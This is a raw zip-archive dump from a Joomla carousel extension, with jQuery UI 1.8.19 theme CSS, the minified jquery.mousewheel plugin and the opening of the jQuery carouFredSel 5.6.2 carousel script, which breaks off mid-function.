margin:0; padding: 0; zoom: 1; float: left; clear: left; width: 100%; } .ui-menu .ui-menu-item a { text-decoration:none; display:block; padding:.2em .4em; line-height:1.5; zoom:1; } .ui-menu .ui-menu-item a.ui-state-hover, .ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } /*! * jQuery UI Button 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; line-height: 1.4; } .ui-button-text-only .ui-button-text { padding: .4em 1em; } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ input.ui-button { padding: .4em 1em; } /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /*! * jQuery UI Dialog 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /*! * jQuery UI Slider 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Slider#theming */ .ui-slider { position: relative; text-align: left; } .ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } .ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } .ui-slider-horizontal { height: .8em; } .ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } .ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .ui-slider-horizontal .ui-slider-range-min { left: 0; } .ui-slider-horizontal .ui-slider-range-max { right: 0; } .ui-slider-vertical { width: .8em; height: 100px; } .ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } .ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } .ui-slider-vertical .ui-slider-range-min { bottom: 0; } .ui-slider-vertical .ui-slider-range-max { top: 0; }/*! * jQuery UI Tabs 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } /*! * jQuery UI Datepicker 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Datepicker#theming */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display/**/: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ }/*! * jQuery UI Progressbar 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Progressbar#theming */ .ui-progressbar { height:2em; text-align: left; overflow: hidden; } .ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }PK@y>\wppKcomponents/com_unitehcarousel/assets/fred-carousel/jquery.mousewheel.min.jsnuW+A/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ */ (function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a=b.length;a;)this.addEventListener(b[--a],d,!1);else this.onmousewheel=d},teardown:function(){if(this.removeEventListener)for(var a=b.length;a;)this.removeEventListener(b[--a],d,!1);else this.onmousewheel=null}},a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery) PK@y>\^7,,Ocomponents/com_unitehcarousel/assets/fred-carousel/jquery.carouFredSel-5.6.2.jsnuW+A/* * jQuery carouFredSel 5.6.2 * Demo's and documentation: * caroufredsel.frebsite.nl * * Copyright (c) 2012 Fred Heusschen * www.frebsite.nl * * Dual licensed under the MIT and GPL licenses. * http://en.wikipedia.org/wiki/MIT_License * http://en.wikipedia.org/wiki/GNU_General_Public_License */ (function($) { // LOCAL if ($.fn.carouFredSel) return; $.fn.carouFredSel = function(options, configs) { if (this.length == 0) { debug(true, 'No element found for "'+this.selector+'".'); return this; } if (this.length > 1) { return this.each(function() { $(this).carouFredSel(options, configs); }); } var $cfs = this, $tt0 = this[0]; if ($cfs.data('cfs_isCarousel')) { var starting_position = $cfs.triggerHandler('_cfs_triggerEvent', 'currentPosition'); $cfs.trigger('_cfs_triggerEvent', ['destroy', [true]]); } else { var starting_position = false; } $cfs._cfs_init = function(o, setOrig, start) { o = go_getObject($tt0, o); var obs = ['items', 'scroll', 'auto', 'prev', 'next', 'pagination']; for (var a = 0, l = obs.length; a < l; a++) { o[obs[a]] = go_getObject($tt0, o[obs[a]]); } if (typeof o.scroll == 'number') { if (o.scroll <= 50) o.scroll = { 'items' : o.scroll }; else o.scroll = { 'duration' : o.scroll }; } else { if (typeof o.scroll == 'string') o.scroll = { 'easing' : o.scroll }; } if (typeof o.items == 'number') o.items = { 'visible' : o.items }; else if ( o.items == 'variable') o.items = { 'visible' : o.items, 'width' : o.items, 'height' : o.items }; if (typeof o.items != 'object') o.items = {}; if (setOrig) opts_orig = $.extend(true, {}, $.fn.carouFredSel.defaults, o); opts = $.extend(true, {}, $.fn.carouFredSel.defaults, o); if (typeof opts.items.visibleConf != 'object') opts.items.visibleConf = {}; if (opts.items.start == 0 && typeof start == 'number') { opts.items.start = start; } crsl.upDateOnWindowResize = (opts.responsive); crsl.direction = (opts.direction == 'up' || opts.direction == 'left') ? 'next' : 'prev'; var dims = [ ['width' , 'innerWidth' , 'outerWidth' , 'height' , 'innerHeight' , 'outerHeight' , 'left', 'top' , 'marginRight' , 0, 1, 2, 3], ['height' , 'innerHeight' , 'outerHeight' , 'width' , 'innerWidth' , 'outerWidth' , 'top' , 'left', 'marginBottom', 3, 2, 1, 0] ]; var dn = dims[0].length, dx = (opts.direction == 'right' || opts.direction == 'left') ? 0 : 1; opts.d = {}; for (var d = 0; d < dn; d++) { opts.d[dims[0][d]] = dims[dx][d]; } var all_itm = $cfs.children(); // check visible items switch (typeof opts.items.visible) { // min and max visible items case 'object': opts.items.visibleConf.min = opts.items.visible.min; opts.items.visibleConf.max = opts.items.visible.max; opts.items.visible = false; break; case 'string': // variable visible items if (opts.items.visible == 'variable') { opts.items.visibleConf.variable = true; // adjust string visible items } else { opts.items.visibleConf.adjust = opts.items.visible; } opts.items.visible = false; break; // function visible items case 'function': opts.items.visibleConf.adjust = opts.items.visible; opts.items.visible = false; break; } // set items filter if (typeof opts.items.filter == 'undefined') { opts.items.filter = (all_itm.filter(':hidden').length > 0) ? ':visible' : '*'; } // primary size set to auto -> measure largest size and set it if (opts[opts.d['width']] == 'auto') { opts[opts.d['width']] = ms_getTrueLargestSize(all_itm, opts, 'outerWidth'); } // primary size percentage if (ms_isPercentage(opts[opts.d['width']]) && !opts.responsive) { opts[opts.d['width']] = ms_getPercentage(ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'), opts[opts.d['width']]); crsl.upDateOnWindowResize = true; } // secondary size set to auto -> measure largest size and set it if (opts[opts.d['height']] == 'auto') { opts[opts.d['height']] = ms_getTrueLargestSize(all_itm, opts, 'outerHeight'); } // primary item-size not set if (!opts.items[opts.d['width']]) { // responsive carousel -> set to largest if (opts.responsive) { debug(true, 'Set a '+opts.d['width']+' for the items!'); opts.items[opts.d['width']] = ms_getTrueLargestSize(all_itm, opts, 'outerWidth'); // non-responsive -> measure it or set to "variable" } else { opts.items[opts.d['width']] = (ms_hasVariableSizes(all_itm, opts, 'outerWidth')) ? 'variable' : all_itm[opts.d['outerWidth']](true); } } // secondary item-size not set -> measure it or set to "variable" if (!opts.items[opts.d['height']]) { opts.items[opts.d['height']] = (ms_hasVariableSizes(all_itm, opts, 'outerHeight')) ? 'variable' : all_itm[opts.d['outerHeight']](true); } // secondary size not set -> set to secondary item-size if (!opts[opts.d['height']]) { opts[opts.d['height']] = opts.items[opts.d['height']]; } // visible-items not set if (!opts.items.visible && !opts.responsive) { // primary item-size variable -> set visible items variable if (opts.items[opts.d['width']] == 'variable') { opts.items.visibleConf.variable = true; } if (!opts.items.visibleConf.variable) { // primary size is number -> calculate visible-items if (typeof opts[opts.d['width']] == 'number') { opts.items.visible = Math.floor(opts[opts.d['width']] / opts.items[opts.d['width']]); } else { // measure and calculate primary size and visible-items var maxS = ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'); opts.items.visible = Math.floor(maxS / opts.items[opts.d['width']]); opts[opts.d['width']] = opts.items.visible * opts.items[opts.d['width']]; if (!opts.items.visibleConf.adjust) opts.align = false; } if (opts.items.visible == 'Infinity' || opts.items.visible < 1) { debug(true, 'Not a valid number of visible items: Set to "variable".'); opts.items.visibleConf.variable = true; } } } // primary size not set -> calculate it or set to "variable" if (!opts[opts.d['width']]) { opts[opts.d['width']] = 'variable'; if (!opts.responsive && opts.items.filter == '*' && !opts.items.visibleConf.variable && opts.items[opts.d['width']] != 'variable') { opts[opts.d['width']] = opts.items.visible * opts.items[opts.d['width']]; opts.align = false; } } // variable primary item-sizes with variabe visible-items if (opts.items.visibleConf.variable) { opts.maxDimention = (opts[opts.d['width']] == 'variable') ? ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth') : opts[opts.d['width']]; if (opts.align === false) { opts[opts.d['width']] = 'variable'; } opts.items.visible = gn_getVisibleItemsNext(all_itm, opts, 0); // set visible items by filter } else if (opts.items.filter != '*') { opts.items.visibleConf.org = opts.items.visible; opts.items.visible = gn_getVisibleItemsNextFilter(all_itm, opts, 0); } // align not set -> set to center if primary size is number if (typeof opts.align == 'undefined') { opts.align = (opts[opts.d['width']] == 'variable') ? false : 'center'; } opts.items.visible = cf_getItemsAdjust(opts.items.visible, opts, opts.items.visibleConf.adjust, $tt0); opts.items.visibleConf.old = opts.items.visible; opts.usePadding = false; if (opts.responsive) { if (!opts.items.visibleConf.min) opts.items.visibleConf.min = opts.items.visible; if (!opts.items.visibleConf.max) opts.items.visibleConf.max = opts.items.visible; opts.align = false; opts.padding = [0, 0, 0, 0]; var isVisible = $wrp.is(':visible'); if (isVisible) $wrp.hide(); var fullS = ms_getPercentage(ms_getTrueInnerSize($wrp.parent(), opts, 'innerWidth'), opts[opts.d['width']]); if (typeof opts[opts.d['width']] == 'number' && fullS < opts[opts.d['width']]) { fullS = opts[opts.d['width']]; } if (isVisible) $wrp.show(); var visb = cf_getItemAdjustMinMax(Math.ceil(fullS / opts.items[opts.d['width']]), opts.items.visibleConf); if (visb > all_itm.length) { visb = all_itm.length; } var newS = Math.floor(fullS/visb), seco = opts[opts.d['height']], secp = ms_isPercentage(seco); all_itm.each(function() { var $t = $(this), nw = newS - ms_getPaddingBorderMargin($t, opts, 'Width'); $t[opts.d['width']](nw); if (secp) { $t[opts.d['height']](ms_getPercentage(nw, seco)); } }); opts.items.visible = visb; opts.items[opts.d['width']] = newS; opts[opts.d['width']] = visb * newS; } else { opts.padding = cf_getPadding(opts.padding); if (opts.align == 'top') opts.align = 'left'; if (opts.align == 'bottom') opts.align = 'right'; switch (opts.align) { // align: center, left or right case 'center': case 'left': case 'right': if (opts[opts.d['width']] != 'variable') { var p = cf_getAlignPadding(gi_getCurrentItems(all_itm, opts), opts); opts.usePadding = true; opts.padding[opts.d[1]] = p[1]; opts.padding[opts.d[3]] = p[0]; } break; // padding default: opts.align = false; opts.usePadding = ( opts.padding[0] == 0 && opts.padding[1] == 0 && opts.padding[2] == 0 && opts.padding[3] == 0 ) ? false : true; break; } } if (typeof opts.cookie == 'boolean' && opts.cookie) opts.cookie = 'caroufredsel_cookie_'+$cfs.attr('id'); if (typeof opts.items.minimum != 'number') opts.items.minimum = opts.items.visible; if (typeof opts.scroll.duration != 'number') opts.scroll.duration = 500; if (typeof opts.scroll.items == 'undefined') opts.scroll.items = (opts.items.visibleConf.variable || opts.items.filter != '*') ? 'visible' : opts.items.visible; opts.auto = go_getNaviObject($tt0, opts.auto, 'auto'); opts.prev = go_getNaviObject($tt0, opts.prev); opts.next = go_getNaviObject($tt0, opts.next); opts.pagination = go_getNaviObject($tt0, opts.pagination, 'pagination'); opts.auto = $.extend(true, {}, opts.scroll, opts.auto); opts.prev = $.extend(true, {}, opts.scroll, opts.prev); opts.next = $.extend(true, {}, opts.scroll, opts.next); opts.pagination = $.extend(true, {}, opts.scroll, opts.pagination); if (typeof opts.pagination.keys != 'boolean') opts.pagination.keys = false; if (typeof opts.pagination.anchorBuilder != 'function' && opts.pagination.anchorBuilder !== false) opts.pagination.anchorBuilder = $.fn.carouFredSel.pageAnchorBuilder; if (typeof opts.auto.play != 'boolean') opts.auto.play = true; if (typeof opts.auto.delay != 'number') opts.auto.delay = 0; if (typeof opts.auto.pauseOnEvent == 'undefined') opts.auto.pauseOnEvent = true; if (typeof opts.auto.pauseOnResize != 'boolean') opts.auto.pauseOnResize = true; if (typeof opts.auto.pauseDuration != 'number') opts.auto.pauseDuration = (opts.auto.duration < 10) ? 2500 : opts.auto.duration * 5; if (opts.synchronise) { opts.synchronise = cf_getSynchArr(opts.synchronise); } if (conf.debug) { debug(conf, 'Carousel width: '+opts.width); debug(conf, 'Carousel height: '+opts.height); if (opts.maxDimention) debug(conf, 'Available '+opts.d['width']+': '+opts.maxDimention); debug(conf, 'Item widths: '+opts.items.width); debug(conf, 'Item heights: '+opts.items.height); debug(conf, 'Number of items visible: '+opts.items.visible); if (opts.auto.play) debug(conf, 'Number of items scrolled automatically: '+opts.auto.items); if (opts.prev.button) debug(conf, 'Number of items scrolled backward: '+opts.prev.items); if (opts.next.button) debug(conf, 'Number of items scrolled forward: '+opts.next.items); } }; // /init $cfs._cfs_build = function() { $cfs.data('cfs_isCarousel', true); var orgCSS = { 'textAlign' : $cfs.css('textAlign'), 'float' : $cfs.css('float'), 'position' : $cfs.css('position'), 'top' : $cfs.css('top'), 'right' : $cfs.css('right'), 'bottom' : $cfs.css('bottom'), 'left' : $cfs.css('left'), 'width' : $cfs.css('width'), 'height' : $cfs.css('height'), 'marginTop' : $cfs.css('marginTop'), 'marginRight' : $cfs.css('marginRight'), 'marginBottom' : $cfs.css('marginBottom'), 'marginLeft' : $cfs.css('marginLeft') }; switch (orgCSS.position) { case 'absolute': var newPosition = 'absolute'; break; case 'fixed': var newPosition = 'fixed'; break; default: var newPosition = 'relative'; } $wrp.css(orgCSS).css({ 'overflow' : 'hidden', 'position' : newPosition }); $cfs.data('cfs_origCss', orgCSS).css({ 'textAlign' : 'left', 'float' : 'none', 'position' : 'absolute', 'top' : 0, 'left' : 0, 'marginTop' : 0, 'marginRight' : 0, 'marginBottom' : 0, 'marginLeft' : 0 }); if (opts.usePadding) { $cfs.children().each(function() { var m = parseInt($(this).css(opts.d['marginRight'])); if (isNaN(m)) m = 0; $(this).data('cfs_origCssMargin', m); }); } }; // /build $cfs._cfs_bind_events = function() { $cfs._cfs_unbind_events(); // stop event $cfs.bind(cf_e('stop', conf), function(e, imm) { e.stopPropagation(); // button if (!crsl.isStopped) { if (opts.auto.button) { opts.auto.button.addClass(cf_c('stopped', conf)); } } // set stopped crsl.isStopped = true; if (opts.auto.play) { opts.auto.play = false; $cfs.trigger(cf_e('pause', conf), imm); } return true; }); // finish event $cfs.bind(cf_e('finish', conf), function(e) { e.stopPropagation(); if (crsl.isScrolling) { sc_stopScroll(scrl); } return true; }); // pause event $cfs.bind(cf_e('pause', conf), function(e, imm, res) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); // immediately pause if (imm && crsl.isScrolling) { scrl.isStopped = true; var nst = getTime() - scrl.startTime; scrl.duration -= nst; if (scrl.pre) scrl.pre.duration -= nst; if (scrl.post) scrl.post.duration -= nst; sc_stopScroll(scrl, false); } // update remaining pause-time if (!crsl.isPaused && !crsl.isScrolling) { if (res) tmrs.timePassed += getTime() - tmrs.startTime; } // button if (!crsl.isPaused) { if (opts.auto.button) { opts.auto.button.addClass(cf_c('paused', conf)); } } // set paused crsl.isPaused = true; // pause pause callback if (opts.auto.onPausePause) { var dur1 = opts.auto.pauseDuration - tmrs.timePassed, perc = 100 - Math.ceil( dur1 * 100 / opts.auto.pauseDuration ); opts.auto.onPausePause.call($tt0, perc, dur1); } return true; }); // play event $cfs.bind(cf_e('play', conf), function(e, dir, del, res) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); // sort params var v = [dir, del, res], t = ['string', 'number', 'boolean'], a = cf_sortParams(v, t); var dir = a[0], del = a[1], res = a[2]; if (dir != 'prev' && dir != 'next') dir = crsl.direction; if (typeof del != 'number') del = 0; if (typeof res != 'boolean') res = false; // stopped? if (res) { crsl.isStopped = false; opts.auto.play = true; } if (!opts.auto.play) { e.stopImmediatePropagation(); return debug(conf, 'Carousel stopped: Not scrolling.'); } // button if (crsl.isPaused) { if (opts.auto.button) { opts.auto.button.removeClass(cf_c('stopped', conf)); opts.auto.button.removeClass(cf_c('paused', conf)); } } // set playing crsl.isPaused = false; tmrs.startTime = getTime(); // timeout the scrolling var dur1 = opts.auto.pauseDuration + del; dur2 = dur1 - tmrs.timePassed; perc = 100 - Math.ceil(dur2 * 100 / dur1); tmrs.auto = setTimeout(function() { if (opts.auto.onPauseEnd) { opts.auto.onPauseEnd.call($tt0, perc, dur2); } if (crsl.isScrolling) { $cfs.trigger(cf_e('play', conf), dir); } else { $cfs.trigger(cf_e(dir, conf), opts.auto); } }, dur2); // pause start callback if (opts.auto.onPauseStart) { opts.auto.onPauseStart.call($tt0, perc, dur2); } return true; }); // resume event $cfs.bind(cf_e('resume', conf), function(e) { e.stopPropagation(); if (scrl.isStopped) { scrl.isStopped = false; crsl.isPaused = false; crsl.isScrolling = true; scrl.startTime = getTime(); sc_startScroll(scrl); } else { $cfs.trigger(cf_e('play', conf)); } return true; }); // prev + next events $cfs.bind(cf_e('prev', conf)+' '+cf_e('next', conf), function(e, obj, num, clb) { e.stopPropagation(); // stopped or hidden carousel, don't scroll, don't queue if (crsl.isStopped || $cfs.is(':hidden')) { e.stopImmediatePropagation(); return debug(conf, 'Carousel stopped or hidden: Not scrolling.'); } // not enough items if (opts.items.minimum >= itms.total) { e.stopImmediatePropagation(); return debug(conf, 'Not enough items ('+itms.total+', '+opts.items.minimum+' needed): Not scrolling.'); } // get config var v = [obj, num, clb], t = ['object', 'number/string', 'function'], a = cf_sortParams(v, t); var obj = a[0], num = a[1], clb = a[2]; var eType = e.type.slice(conf.events.prefix.length); if (typeof obj != 'object' || obj == null) obj = opts[eType]; if (typeof clb == 'function') obj.onAfter = clb; if (typeof num != 'number') { if (opts.items.filter != '*') { num = 'visible'; } else { var arr = [num, obj.items, opts[eType].items]; for (var a = 0, l = arr.length; a < l; a++) { if (typeof arr[a] == 'number' || arr[a] == 'page' || arr[a] == 'visible') { num = arr[a]; break; } } } switch(num) { case 'page': e.stopImmediatePropagation(); return $cfs.triggerHandler(eType+'Page', [obj, clb]); break; case 'visible': if (!opts.items.visibleConf.variable && opts.items.filter == '*') { num = opts.items.visible; } break; } } // resume animation, add current to queue if (scrl.isStopped) { $cfs.trigger(cf_e('resume', conf)); $cfs.trigger(cf_e('queue', conf), [eType, [obj, num, clb]]); e.stopImmediatePropagation(); return debug(conf, 'Carousel resumed scrolling.'); } // queue if scrolling if (obj.duration > 0) { if (crsl.isScrolling) { if (obj.queue) $cfs.trigger(cf_e('queue', conf), [eType, [obj, num, clb]]); e.stopImmediatePropagation(); return debug(conf, 'Carousel currently scrolling.'); } } // test conditions callback if (obj.conditions && !obj.conditions.call($tt0)) { e.stopImmediatePropagation(); return debug(conf, 'Callback "conditions" returned false.'); } tmrs.timePassed = 0; $cfs.trigger('_cfs_triggerEvent', ['slide_'+eType, [obj, num]]); // synchronise if (opts.synchronise) { var s = opts.synchronise, c = [obj, num]; for (var j = 0, l = s.length; j < l; j++) { var d = eType; if (!s[j][1]) c[0] = s[j][0].triggerHandler('_cfs_triggerEvent', ['configuration', [d]]); if (!s[j][2]) d = (d == 'prev') ? 'next' : 'prev'; c[1] = num + s[j][3]; s[j][0].trigger('_cfs_triggerEvent', ['slide_'+d, [c]]); } } return true; }); // prev event $cfs.bind(cf_e('slide_prev', conf), function(e, sO, nI) { e.stopPropagation(); var a_itm = $cfs.children(); // non-circular at start, scroll to end if (!opts.circular) { if (itms.first == 0) { if (opts.infinite) { $cfs.trigger(cf_e('next', conf), itms.total-1); } return e.stopImmediatePropagation(); } } if (opts.usePadding) sz_resetMargin(a_itm, opts); // find number of items to scroll if (typeof nI != 'number') { if (opts.items.visibleConf.variable) { nI = gn_getVisibleItemsPrev(a_itm, opts, itms.total-1); } else if (opts.items.filter != '*') { var xI = (typeof sO.items == 'number') ? sO.items : gn_getVisibleOrg($cfs, opts); nI = gn_getScrollItemsPrevFilter(a_itm, opts, itms.total-1, xI); } else { nI = opts.items.visible; } nI = cf_getAdjust(nI, opts, sO.items, $tt0); } // prevent non-circular from scrolling to far if (!opts.circular) { if (itms.total - nI < itms.first) { nI = itms.total - itms.first; } } // set new number of visible items opts.items.visibleConf.old = opts.items.visible; if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNext(a_itm, opts, itms.total-nI); if (opts.items.visible+nI <= vI && nI < itms.total) { nI++; vI = gn_getVisibleItemsNext(a_itm, opts, itms.total-nI); } opts.items.visible = 